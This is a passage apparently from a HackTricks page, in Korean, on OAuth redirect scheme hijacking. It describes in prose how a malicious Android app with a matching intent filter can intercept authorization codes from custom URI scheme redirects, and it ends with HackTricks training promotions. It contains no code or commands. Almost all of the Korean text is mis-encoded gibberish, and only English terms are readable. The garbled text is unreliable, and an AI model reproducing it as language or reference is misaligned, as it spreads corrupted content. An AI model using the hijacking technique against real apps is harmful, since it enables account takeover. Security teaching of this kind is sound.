๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด Authorization Server์— ์ฟผ๋ฆฌํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Redirect Scheme Hijacking

๋ชจ๋ฐ”์ผ OAuth ๊ตฌํ˜„์—์„œ ์•ฑ์€ Authorization Code๊ฐ€ ํฌํ•จ๋œ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๋ฐ›๊ธฐ ์œ„ํ•ด custom URI schemes๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์—ฌ๋Ÿฌ ์•ฑ์ด ๋™์ผํ•œ ์Šคํ‚ด์„ ๋””๋ฐ”์ด์Šค์— ๋“ฑ๋กํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ URI๋ฅผ ์˜ค์ง ์ •๋‹นํ•œ ํด๋ผ์ด์–ธํŠธ๋งŒ ์ œ์–ดํ•œ๋‹ค๋Š” ๊ฐ€์ •์ด ๊นจ์ง‘๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Android์—์„œ๋Š” com.example.app:// ๊ฐ™์€ Intent URI๊ฐ€ ์Šคํ‚ด๊ณผ ์•ฑ์˜ intent-filter์— ์ •์˜๋œ ์„ ํƒ์  ํ•„ํ„ฐ์— ๋”ฐ๋ผ ์ฒ˜๋ฆฌ๋ฉ๋‹ˆ๋‹ค. Android์˜ intent ํ•ด์„์€ ํŠนํžˆ ์Šคํ‚ด๋งŒ ์ง€์ •๋œ ๊ฒฝ์šฐ ํญ๋„“์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๋Š” ์ •๊ตํ•˜๊ฒŒ ๊ตฌ์„ฑ๋œ intent filter๋ฅผ ๊ฐ€์ง„ ์•…์„ฑ ์•ฑ์„ ๋“ฑ๋กํ•ด authorization code๋ฅผ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์—ฌ๋Ÿฌ ์•ฑ์ด ํ•ด๋‹น ์ธํ…ํŠธ๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์„ ๋•Œ ์‚ฌ์šฉ์ž ์ƒํ˜ธ์ž‘์šฉ์„ ํ†ตํ•ด ๋˜๋Š” Ostorlab์˜ ํ‰๊ฐ€ ํ๋ฆ„๋„์— ์„ค๋ช…๋œ ์šฐํšŒ ๊ธฐ๋ฒ•์„ ์ด์šฉํ•ด ๊ณ„์ • ํƒˆ์ทจ๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ